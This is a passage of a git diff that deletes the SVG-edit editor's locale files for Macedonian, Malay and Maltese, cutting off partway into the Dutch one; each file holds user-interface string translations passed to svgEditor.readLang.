-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.mk.js b/public/svg-edit/editor/locale/lang.mk.js
deleted file mode 100644
index 2b0812ee..00000000
--- a/public/svg-edit/editor/locale/lang.mk.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "mk",
-	dir : "ltr",
-	common: {
-		"ok": "Зачувува",
-		"cancel": "Откажи",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Кликни за да внесете промени бојата, промена клик да се промени бојата удар",
-		"zoom_level": "Промена зум ниво",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Измени пополнете боја",
-		"stroke_color": "Промена боја на мозочен удар",
-		"stroke_style": "Промена удар цртичка стил",
-		"stroke_width": "Промена удар Ширина",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Change ротација агол",
-		"blur": "Change gaussian blur value",
-		"opacity": "Промена избрани ставка непроѕирноста",
-		"circle_cx": "Промена круг на cx координира",
-		"circle_cy": "Промена круг&#39;s cy координираат",
-		"circle_r": "Промена на круг со радиус",
-		"ellipse_cx": "Промена елипса&#39;s cx координираат",
-		"ellipse_cy": "Промена на елипса cy координира",
-		"ellipse_rx": "Промена на елипса x радиус",
-		"ellipse_ry": "Промена на елипса у радиус",
-		"line_x1": "Промена линија почетна x координира",
-		"line_x2": "Промена линија завршува x координира",
-		"line_y1": "Промена линија координираат почетна y",
-		"line_y2": "Промена линија завршува y координира",
-		"rect_height": "Промена правоаголник височина",
-		"rect_width": "Промена правоаголник Ширина",
-		"corner_radius": "Промена правоаголник Corner Radius",
-		"image_width": "Промена Ширина на сликата",
-		"image_height": "Промена на слика височина",
-		"image_url": "Промена URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Промена текст содржина",
-		"font_family": "Смени фонт Фамилија",
-		"font_size": "Изменифонт Големина",
-		"bold": "Задебелен текст",
-		"italic": "Italic текст"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Смени позадина / непроѕирноста",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Способен да Содржина",
-		"fit_to_all": "Способен да сите содржина",
-		"fit_to_canvas": "Побиране да платно",
-		"fit_to_layer_content": "Способен да слој содржина",
-		"fit_to_sel": "Способен да селекција",
-		"align_relative_to": "Порамни во поглед на ...",
-		"relativeTo": "во поглед на:",
-		"страница": "страница",
-		"largest_object": "најголемиот објект",
-		"selected_objects": "избран објекти",
-		"smallest_object": "најмалата објект",
-		"new_doc": "Нови слики",
-		"open_doc": "Отвори слика",
-		"export_png": "Export as PNG",
-		"save_doc": "Зачувај слика",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Центрирано",
-		"align_left": "Порамни лево Порамни",
-		"align_middle": "Израмни Среден",
-		"align_right": "Порамни десно",
-		"align_top": "Израмни почетокот",
-		"mode_select": "Изберете ја алатката",
-		"mode_fhpath": "Алатка за молив",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Правоаголник слободна рака",
-		"mode_ellipse": "Елипса",
-		"mode_circle": "Круг",
-		"mode_fhellipse": "Free-Hand Елипса",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Алатка за текст",
-		"mode_image": "Алатка за сликата",
-		"mode_zoom": "Алатка за зумирање",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Врати",
-		"redo": "Повтори",
-		"tool_source": "Уреди Извор",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Група на елементи",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Елементи",
-		"docprops": "Својства на документот",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to bottom",
-		"move_top": "Поместување на почетокот",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Зачувува",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Избриши Слој",
-		"move_down": "Премести слој долу",
-		"new": "Нов слој",
-		"rename": "Преименувај слој",
-		"move_up": "Премести слој горе",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Изберете предефинирани:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ms.js b/public/svg-edit/editor/locale/lang.ms.js
deleted file mode 100644
index fbdf01bb..00000000
--- a/public/svg-edit/editor/locale/lang.ms.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ms",
-	dir : "ltr",
-	common: {
-		"ok": "Simpan",
-		"cancel": "Batal",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klik untuk menukar warna mengisi, shift-klik untuk menukar warna stroke",
-		"zoom_level": "Mengubah peringkat pembesaran",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Tukar Warna mengisi",
-		"stroke_color": "Tukar Warna stroke",
-		"stroke_style": "Tukar gaya dash stroke",
-		"stroke_width": "Tukar stroke width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Namakan sudut putaran",
-		"blur": "Change gaussian blur value",
-		"opacity": "Mengubah item yang dipilih keburaman",
-		"circle_cx": "Mengubah koordinat bulatan cx",
-		"circle_cy": "Mengubah koordinat cy bulatan",
-		"circle_r": "Tukar jari-jari lingkaran",
-		"ellipse_cx": "Tukar elips&#39;s cx koordinat",
-		"ellipse_cy": "Tukar elips&#39;s cy koordinat",
-		"ellipse_rx": "Tukar elips&#39;s x jari-jari",
-		"ellipse_ry": "Tukar elips&#39;s y jari-jari",
-		"line_x1": "Ubah baris mulai x koordinat",
-		"line_x2": "Ubah baris&#39;s Berakhir x koordinat",
-		"line_y1": "Ubah baris mulai y koordinat",
-		"line_y2": "Ubah baris di tiap akhir y koordinat",
-		"rect_height": "Perubahan quality persegi panjang",
-		"rect_width": "Tukar persegi panjang lebar",
-		"corner_radius": "Tukar Corner Rectangle Radius",
-		"image_width": "Tukar Lebar imej",
-		"image_height": "Tinggi gambar Kaca",
-		"image_url": "Tukar URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Tukar isi teks",
-		"font_family": "Tukar Font Keluarga",
-		"font_size": "Ubah Saiz Font",
-		"bold": "Bold Teks",
-		"italic": "Italic Teks"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Mengubah warna latar belakang / keburaman",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Cocok untuk semua kandungan",
-		"fit_to_canvas": "Muat kanvas",
-		"fit_to_layer_content": "Muat kandungan lapisan",
-		"fit_to_sel": "Fit seleksi",
-		"align_relative_to": "Rata relatif ...",
-		"relativeTo": "relatif:",
-		"Laman": "Laman",
-		"largest_object": "objek terbesar",
-		"selected_objects": "objek terpilih",
-		"smallest_object": "objek terkecil",
-		"new_doc": "Imej Baru",
-		"open_doc": "Membuka Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Rata Bottom",
-		"align_center": "Rata Tengah",
-		"align_left": "Rata Kiri",
-		"align_middle": "Rata Tengah",
-		"align_right": "Rata Kanan",
-		"align_top": "Rata Popular",
-		"mode_select": "Pilih Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Persegi Panjang",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Lingkaran",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Teks Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Kelompok Elemen",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elemen",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Pindah ke Bawah",
-		"move_top": "Pindah ke Atas",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Simpan",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Padam Layer",
-		"move_down": "Pindah Layer Bawah",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Pindah Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Pilih standard:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.mt.js b/public/svg-edit/editor/locale/lang.mt.js
deleted file mode 100644
index 3ba830d8..00000000
--- a/public/svg-edit/editor/locale/lang.mt.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "mt",
-	dir : "ltr",
-	common: {
-		"ok": "Save",
-		"cancel": "Ikkanċella",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Ikklikkja biex timla l-bidla fil-kulur, ikklikkja-bidla għall-bidla color stroke",
-		"zoom_level": "Bidla zoom livell",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Bidla imla color",
-		"stroke_color": "Color stroke Bidla",
-		"stroke_style": "Bidla stroke dash stil",
-		"stroke_width": "Wisa &#39;puplesija Bidla",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Angolu ta &#39;rotazzjoni Bidla",
-		"blur": "Change gaussian blur value",
-		"opacity": "Bidla magħżula opaċità partita",
-		"circle_cx": "CX ċirku Tibdil jikkoordinaw",
-		"circle_cy": "Ċirku Tibdil cy jikkoordinaw",
-		"circle_r": "Raġġ ta &#39;ċirku tal-Bidla",
-		"ellipse_cx": "Bidla ellissi&#39;s CX jikkoordinaw",
-		"ellipse_cy": "Ellissi Tibdil cy jikkoordinaw",
-		"ellipse_rx": "Raġġ x ellissi Tibdil",
-		"ellipse_ry": "Raġġ y ellissi Tibdil",
-		"line_x1": "Bidla fil-linja tal-bidu tikkoordina x",
-		"line_x2": "Linja tal-Bidla li jispiċċa x jikkoordinaw",
-		"line_y1": "Bidla fil-linja tal-bidu y jikkoordinaw",
-		"line_y2": "Linja Tibdil jispiċċa y jikkoordinaw",
-		"rect_height": "Għoli rettangolu Bidla",
-		"rect_width": "Wisa &#39;rettangolu Bidla",
-		"corner_radius": "Bidla Rectangle Corner Radius",
-		"image_width": "Wisa image Bidla",
-		"image_height": "Għoli image Bidla",
-		"image_url": "Bidla URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Test kontenut Bidla",
-		"font_family": "Bidla Font Familja",
-		"font_size": "Change font size",
-		"bold": "Bold Test",
-		"italic": "Test korsiv"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Bidla fil-kulur fl-isfond / opaċità",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit għall-kontenut",
-		"fit_to_all": "Tajbin għall-kontenut",
-		"fit_to_canvas": "Xieraq li kanvas",
-		"fit_to_layer_content": "Fit-kontenut ta &#39;saff għal",
-		"fit_to_sel": "Fit-għażla",
-		"align_relative_to": "Jallinjaw relattiv għall - ...",
-		"relativeTo": "relattiv għall -:",
-		"paġna": "paġna",
-		"largest_object": "akbar oġġett",
-		"selected_objects": "oġġetti elett",
-		"smallest_object": "iżgħar oġġett",
-		"new_doc": "Image New",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Image Save",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Tallinja Bottom",
-		"align_center": "Tallinja Center",
-		"align_left": "Tallinja Left",
-		"align_middle": "Tallinja Nofsani",
-		"align_right": "Tallinja Dritt",
-		"align_top": "Tallinja Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Lapes Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free Hand-Rectangle",
-		"mode_ellipse": "Ellissi",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free Hand-ellissi",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Jneħħu",
-		"redo": "Jerġa &#39;jagħmel",
-		"tool_source": "Source Edit",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Grupp Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Dokument Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Save",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Ħassar Layer",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Semmi mill-ġdid Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefiniti:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.nl.js b/public/svg-edit/editor/locale/lang.nl.js
deleted file mode 100644
index 35830347..00000000
--- a/public/svg-edit/editor/locale/lang.nl.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "nl",
-	dir : "ltr",
-	common: {
-		"ok": "Ok",
-		"cancel": "Annuleren",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "omlaag", 
-		"key_up": "omhoog", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Mogelijk gemaakt door"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Toon/verberg meer lijn gereedschap",
-		"palette_info": "Klik om de vul kleur te veranderen, shift-klik om de lijn kleur te veranderen",
-		"zoom_level": "In-/uitzoomen",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identificeer het element",
-		"fill_color": "Verander vul kleur",
-		"stroke_color": "Verander lijn kleur",
-		"stroke_style": "Verander lijn stijl",
-		"stroke_width": "Verander lijn breedte",
-		"pos_x": "Verander X coordinaat",
-		"pos_y": "Verander Y coordinaat",
-		"linecap_butt": "Lijneinde: Geen",
-		"linecap_round": "Lijneinde: Rond",
-		"linecap_square": "Lijneinde: Vierkant",
-		"linejoin_bevel": "Lijnverbinding: Afgestompt",
-		"linejoin_miter": "Lijnverbinding: Hoek",
-		"linejoin_round": "Lijnverbinding: Rond",
-		"angle": "Draai",
-		"blur": "Verander Gaussische vervaging waarde",
-		"opacity": "Verander opaciteit geselecteerde item",
-		"circle_cx": "Verander het X coordinaat van het cirkel middelpunt",
-		"circle_cy": "Verander het Y coordinaat van het cirkel middelpunt",
-		"circle_r": "Verander de cirkel radius",
-		"ellipse_cx": "Verander het X coordinaat van het ellips middelpunt",
-		"ellipse_cy": "Verander het Y coordinaat van het ellips middelpunt",
-		"ellipse_rx": "Verander ellips X radius",
-		"ellipse_ry": "Verander ellips Y radius",
-		"line_x1": "Verander start X coordinaat van de lijn",
-		"line_x2": "Verander eind X coordinaat van de lijn",
-		"line_y1": "Verander start Y coordinaat van de lijn",
